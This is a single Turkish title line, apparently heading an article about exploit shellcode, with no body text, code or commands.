EXPLOIT SHELLCODE ÜZERİNE BİRKAÇ SÖZ